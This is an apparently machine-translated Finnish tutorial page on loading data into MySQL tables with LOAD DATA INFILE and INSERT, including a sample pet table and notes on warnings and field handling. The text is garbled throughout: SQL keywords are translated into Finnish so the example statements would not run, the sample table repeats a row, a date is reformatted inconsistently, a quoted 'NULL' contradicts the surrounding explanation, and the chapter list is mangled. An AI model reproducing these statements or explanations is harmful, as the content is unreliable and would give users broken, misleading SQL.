      Tyhjät kentät tulkitaan eri tavalla kuin puuttuvat kentät:
      1. Merkkijonotyypeille sarakkeelle on määritetty tyhjä merkkijono.
      2. Numeerisille tyypeille sarakkeelle on määritetty 0.
      3. Päivämäärä- ja aikatyypeille - sarake on asetettu vastaavaan tyyppiin
        "nolla" arvo. Katso Päivämäärä- ja aikatyypit

      Nämä ovat samat arvot, jotka johtuvat tyhjän merkkijonon nimenomaisesta liittämisestä tämän tyyppisiin sarakkeisiin INSERT- tai UPDATE-käskyssä.
      TIMESTAMP-sarakearvot asetetaan nykyiseen päivämäärään ja kellonaikaan vain, jos ne on asetettu arvoon NULL (eli \N), tai jos tämän tyyppinen sarake jätetään pois kenttäluettelosta, jos kenttäluettelo on annettu.

      LOAD DATA INFILE käsittelee kaikkia syötteitä merkkijonosyöttöinä, joten et voi käyttää numeerisia arvoja ENUM- tai SET-sarakkeille, kuten INSERT-käskyissä sallitaan. Kaikki ENUM- tai SET-arvot on määritettävä merkkijonoina!
      Kun LOAD DATA INFILE -käsky on valmis, se palauttaa tietomerkkijonon seuraavassa muodossa:
      Tietueet: I Poistettu: 0 Ohitettu: 0 Varoitukset: Tietoja
      Jos työskentelet C API:n kanssa, saat tietoa tästä lauseesta kutsumalla mysql_info()-funktiota.
      Joissakin olosuhteissa näkyvät varoitukset ovat samat kuin ne, jotka esiintyvät lisättäessä arvoja INSERT-käskyllä ​​(katso Kohta 6.1.4), paitsi että LOAD DATA INFILE luo myös varoituksia siitä, että kenttiä on liian vähän tai liikaa. Varoituksia ei tallenneta mihinkään, varoitusten määrää voidaan käyttää vain merkkinä siitä, että kaikki meni hyvin.
      MySQL 4.1.1:stä lähtien voit käyttää SHOW WARNINGS -toimintoa listataksesi ensimmäiset max_error_count -varoitukset tiedoksi Mitä Lataus meni pieleen. Katso NÄYTÄ VAROITUKSET Syntaksi
      Ennen MySQL 4.1.1:tä vain varoitusten määrä osoitti, että lataus ei sujunut kitkattomasti. Jos saat varoituksen ja haluat tietää tarkalleen, miksi se ilmestyi, ainoa tapa tehdä tämä on käyttää SELECT...INTO OUTFILE-komentoa taulukon tyhjentämiseksi toiseen tiedostoon ja vertaamalla sitä alkuperäiseen syöttötiedostoon.

Navigointi opetusohjelmassa: 1.1 Mikä on MySQL? 1.2 Miksi käyttää MySQL:ää? 1.3 Kuinka vakaa MySQL on? 1.4 Kuinka suuria MySQL-taulukot voivat olla? 1.5 MySQL, MySQL AB, MySQL-MAX: mikä se on? 1.6 Millä käyttöjärjestelmillä MySQL toimii? 1.7 MySQL-jakelu 1.8 MySQL-komentorivikehotteet 2.1 MySQL:n esittely 2.2 MySQL-yhteyden muodostaminen 2.3 MySQL-kyselyjen syöttäminen 2.4 Tietokantojen luominen ja käyttäminen 2.5 MySQL-tietokannan luominen 2.6 MySQL-tietokannan luominen 2.7 MySQL-tietokannan valitseminen 2.7 MySQL-tietokannan valinta. a MySQL-taulukko 2.9 Tiettyjen rivien valitseminen MySQL-taulukosta 2.10 Mielivaltaisten sarakkeiden valitseminen MySQL-taulukosta 2.11 Rivien lajittelu MySQL-taulukosta 2.12 Päivämäärien laskeminen MySQL-taulukossa 2.13 Työskentely NULL-arvojen kanssa MySQL-taulukossa 2.14 Pattern matching. SQL-malleja. 2.15 Rivien laskeminen SQL-malleissa. COUNT()-funktio 2.16 Useiden taulukoiden käyttäminen yhdessä SQL-kyselyssä 2.17 Tietojen saaminen MySQL-tietokannoista ja -taulukoista 2.18 Esimerkkejä yleisistä kyselyistä MySQL:ssä 2.19 MySQL-sarakkeen maksimiarvo 2.20 Mikä rivi tallentaa tietyn MySQL-sarakkeen enimmäismäärän 2.21 Sarakkeen enimmäismäärä MySQL-ryhmässä 2,22 V Mikä MySQL-rivi sisältää suurimman arvon ryhmälle? 2.23 Käyttäjämuuttujien käyttö MySQL:ssä 2.24 MySQL-asiakkaan käyttö erätilassa 3.1 Rivit MySQL:ssä 3.2 Numerot MySQL:ssä. Kuinka kirjoittaa numeroita MySQL: ssä? 3.3 Heksadesimaaliarvot MySQL:ssä 3.4 NULL-arvot MySQL:ssä 3.5 Tietokanta, taulukko, hakemisto, sarake ja aliasnimet MySQL:ssä 3.6 Kirjainkokojen herkkyys MySQL-nimissä 3.7 ​​Käyttäjämuuttujat MySQL:ssä 3.8 Kommentit MySQL:ssä 3.9 Words SQL:ssä. MySQL-tietokantojen varmuuskopiointi 4.2 BACKUP TABLE Syntaksi MySQL:ssä 4.3 PALAUTA TABLE Syntaksi MySQL:ssä 4.4 TARKISTA TABLE Syntaksi MySQL:ssä 4.5 KORJAA TABLE Syntaksi MySQL:ssä 4.6 OPTIMOI TABLE Syntaksi MySQL:ssä 4.7 MySQL:n syntaksi. Syntaksi ILL sisään inedSQL 4.10 SHOW Syntaksi MySQL 4.11 SHOW TABLE STATUS syntaksi MySQL:ssä 4.12 SHOW STATUS syntaksi MySQL:ssä 4.13 SHOW VARIABLES syntaksi MySQL:ssä 4.14 back_log 4.15 merkistö, merkkijoukkoa, viive_avain 6 viive_sert_sert_concurrent. raja 4.17 delayed_insert_timeout, delayed_queue_ size, flush_time 4.18 have_raid, have_ssl, init_file 4.19 interactive_timeout, join_buffer_size, key_buffer_size 4. 20 kieli, log_bin, long_query_time 4.21 small_case_table_names, max_allowed_packet, max_binlog_cache_size 4.22 max_connections, max_connect_errors, max_delayed_threads lock_count, myisam _sort_buffer_size 4.25 myisam_max_extra_sоrt_file_size, myisam_max_sort_file_size, net_buffer_length 4.26 net_read_timeout, net_retry_count, net_write_lim_timeout, net_write27 open_,. protocol_version , record_rnd_buffer, query_buffer_size 4.29 safe_show_databases, skip_networking, skip_show_databases 4.30 socket, sort_buffer, skip_show_databases 4.31 thread_cache_size, syncql_outtime out, PROSHx_ 4.33 NÄYTÄ GRAN-syntaksi TS MySQL:ssä 4.34 Syntaksi SHOW CREATE TABLE MySQL:ssä 4.35 Options-tiedosto my.cnf in MySQL 5.1 Saraketyypit MySQL:ssä 5.2 Numeeriset tyypit MySQL:ssä 5.3 Päivämäärä- ja aikatyypit MySQL 5.4 Y2K (2000) -ongelmassa ja päivämäärätyypit MySQL 5.5:ssä DATETIME, DATE ja TIMESTAMP tyypit MySQL 5.6:ssa TIME tyyppi MySQL 5.7 YEAR. Tyyppi MySQL 5.7 YEAR. tyypit CHAR ja VARCHAR MySQL 5.9:ssä BLOB- ja TEXT-merkkijonotyypit MySQL:ssä 5.10 ENUM-merkkijonotyyppi MySQL:ssä 5.11 SET-merkkijonotyyppi MySQL:ssä 5.12 Oikean tyypin valinta MySQL-sarakkeelle 5.13 Saraketyyppien käyttäminen muista DBMS-järjestelmistä MySQL-sarakkeissa 5.14 MySQL-sarakkeiden muistivaatimukset 6.1 MySQL-käytön funktiot SELECT- ja WHERE-järjestelmissä 6.2 Tyypittömät operaattorisulut MySQL:ssä 6.3 Tyypittämätön vertailuoperaattori MySQL:ssä 6.4 Loogiset operaattorit MySQL:ssä 6.5 Haaroittumisfunktiot MySQL:ssä 6.6 Merkkijonofunktiot MySQL:ssä

Taulukon luomisen jälkeen sinun on täytettävä se tiedoilla. Ohjeet ja LISÄÄ hyödyllinen tähän. Puhumme niiden toiminnasta hieman myöhemmin, mutta nyt mietitään, mitä tietoja taulukkoon on syötettävä. Miltä ne tarkalleen näyttävät?

Oletetaan, että luontotietosi voidaan kuvata alla. Huomaa, että MySQL odottaa päivämääriä vuosi-kuukausi-päivä-muodossa. Tämä voi olla erilainen kuin mihin olet tottunut. On parempi kirjoittaa vuosi 4-numeroisena. MySQL:llä on melko monimutkainen algoritmi kaksinumeroisten vuosiarvojen käsittelemiseksi oikein, mutta sitä ei tarvitse toistaiseksi selvittää, joten syötetään tiedot yksiselitteisesti. Kaikki esimerkkimme eläintiedot on esitetty taulukossa 2.2:

Taulukko 2.2. Eläinten tiedot

nimi omistaja lajit seksiä syntymästä kuolema
Pörröinen Harold kissa f 1993-02-04
Pörröinen Harold kissa f 1993-02-04
Kynnet Gwen kissa m 1994-03-17
Buffy Harold koira f 1989-05-13
Fang Benny koira m 1990-08-27
Bowser Diane koira m 1989-08-31 1995-07-29
Pirteä Gwen lintu f 1998-09-11
Whistler Gwen lintu 1997-12-09
Hoikka Benny käärme m 1996-04-29

Koska aloitat tyhjästä taulukosta, helpoin tapa täyttää se on luoda tekstitiedosto, joka sisältää rivin jokaiselle eläimellesi, ja ladata sitten tiedoston sisältö taulukkoon yhdellä lauseella.

Voit luoda tekstitiedoston pet.txt, joka sisältää yhden merkinnän riviä kohden ja jonka arvot on erotettu sarkainpisteillä siinä järjestyksessä, jossa sarakkeet on lueteltu CREATE TABLE -käskyssä. Puuttuville arvoille (kuten tuntematon sukupuoli tai elävien eläinten kuolinpäivämäärät) voit käyttää NULL-arvoja. Käytä tarraa esittääksesi ne tekstitiedostossa. Esimerkiksi Whistler-lintua koskeva merkintä näyttää suunnilleen tältä (käytän välilyöntiä osoittamaan välilehteä):

Whistler Gwen lintu 12.9.1997

Voit ladata tietoja lemmikkitaulukkoon tekstitiedostosta pet.txt, joka sijaitsee paikallisessa tietokoneessa (asiakkaassa) palvelimen sijaan, käyttämällä LOAD DATA -komentoa:

Mysql> LATAA TIEDOT PAIKALLINEN INFILE "pet.txt" TABLE:hen lemmikki;

Avainsanoilla on seuraava merkitys. INFILE määrittää merkkijonon, joka on sen tiedoston nimi, josta tiedot luetaan. Koska nimi on merkkijono, se on suljettu lainausmerkkeihin, muuten MySQL yrittää arvioida sen numeerisena lausekkeena. PAIKALLINEN ilmaisee, että tiedostoa tulee etsiä asiakasjärjestelmästä eikä palvelimelta. PÖYTÄKSI käskee lataamaan tiedot taulukkoon, jonka nimi on määritetty heti sanan TABLE jälkeen (välilyönnillä erotettuna).

Voit halutessasi määrittää lausekkeeseen sarakkeen arvon erottimen ja rivin loppumerkin, mutta oletusarvot ovat sarkain ja rivinvaihto. Ne riittävät pet.txt-tiedoston lukemiseen oikein, etkä tarvitse enempää juuri nyt.

Kun haluat lisätä uusia merkintöjä yksitellen, ohje on hyödyllinen LISÄÄ. Yksinkertaisimmassa muodossaan annat arvot jokaiselle sarakkeelle siinä järjestyksessä, jossa sarakkeet on lueteltu CREATE TABLE -käskyssä. Oletetaan, että Diane sai uuden hamsterin, Puffballin. Voit lisätä uuden merkinnän käyttämällä INSERT-käskyä, vaikkapa näin:

Mysql> INSERT INTO pet
-> ARVOT ("Puffball", "Diane", "hamster", "f", "1999-03-30", "NULL");

Myöskään avainsanat eivät ole erityisen monimutkaisia. INTO lemmikki määrittää, mihin pöytään lisäosa menee. ARVOT määrittää luettelon arvoista, jotka lisätään taulukkoon uudelle tietueelle. Arvot on lueteltu pilkuilla erotettuina ja kaikki yhdessä suluissa.

Huomaa, että merkkijonot ja päivämäärän arvo on määritelty merkkijonoiksi. Voit lisätä NULL-arvon suoraan (ei merkkijonona) edustamaan arvon puuttumista.

Tästä esimerkistä näet, että lataaminen suoraan taulukkoon vaatisi melko vähän kirjoittamista. Ohjeet säästävät paljon aikaa.

Oletko koskaan joutunut lataamaan tietoja tiedostosta taulukkoon tiedostosta? Jos ei, yritän kertoa lyhyesti yhdestä tavasta tehdä tämä.

Lataa tiedot taulukkoon tiedostosta

LATAA TIEDOT INFILE "data.csv" TABLE my_table Tämä rakenne auttaa sinua lataamaan tietoja tiedostosta taulukkoon.

Jos haluat ladata muotoiltua dataa, sano pilkuilla erotettuna, seuraava rakenne auttaa sinua:

LATAA DATA INFILE "data.csv" TAULUKKOON my_table KENTÄT PÄÄTTYNYT"," LIITTÄMÄT """ PIENI "\\" RIVIT, JOTKA PÄÄTTEE "\r\n"
Mitä tämä tarkoittaa?

  • Etsi rivin loppuja "\r\n"-merkeillä
  • Jaa rivit kenttiin pilkuilla (,).
  • Odota, että kentät voidaan sulkea lainausmerkkeihin.
  • Tulkitse sarkain-, rivinvaihto- tai "\"-merkit, jotka esiintyvät "\"-merkin edessä, literaaleiksi, jotka ovat osa kentän arvoa.

LOAD DATA INFILE -rakenne

Kaikki, mitä yllä kuvasimme, on kuuluisa LOAD DATA INFILE -rakenne.

Virhe Käyttäjän käyttö estetty

Jos kohtaat yhtäkkiä virheen pääsy kielletty käyttäjältä, sinun tarvitsee vain lisätä attribuutti PAIKALLINEN ennen INFILE. Esimerkiksi:

LATAA DATA LOCAL INFILE "data.csv" TABLE my_table

Lataa tiedot taulukkoon tiedostosta tiettyjä kenttiä varten

LATAA TIEDOT PAIKALLINEN INFILE "data.csv" TAULUKKOON t1 KENTÄT, JOTKA PÄÄTTEE "," RIVIT, JOITA PÄÄTTEE "\n" (@ col1 ,@ col2 ,@ col3 ,@ col4 ) joukon nimi =@ col4 , id =@ col2 ;

Tässä ilmoitamme sen tiedoston nimen (data.csv), josta tiedot ladataan. Konstruktiossa (@col1,@col2,@col3,@col4) numeroimme kaikki tiedoston sarakkeet myöhempää käyttöä varten. Ja sitten tutulla asetusmenetelmällä asetamme näiden sarakkeiden arvot tietyille taulukon kenttiin.

LOAD DATA INFILE yhdessä JOIN-komennolla

Jos sinun on täytettävä taulukko tiedostosta olemassa olevan tiedoston avulla, ajattelit todennäköisesti heti käyttää liittyä seuraan. Tämän tietojen lisäyksen koodi näyttää tältä:

LATAA TIEDOT PAIKALLINEN INFILE "data.csv" TAULUKKOON table_1 KENTÄT, JOTKA PÄÄTTEE "\t" RIVIT PÄÄTTÄVÄT "\r\n" (@col1,@col2,@col3,@col4) set user_id=@col1, username=( valitse käyttäjätunnus käyttäjistä, joissa user_id = @col1);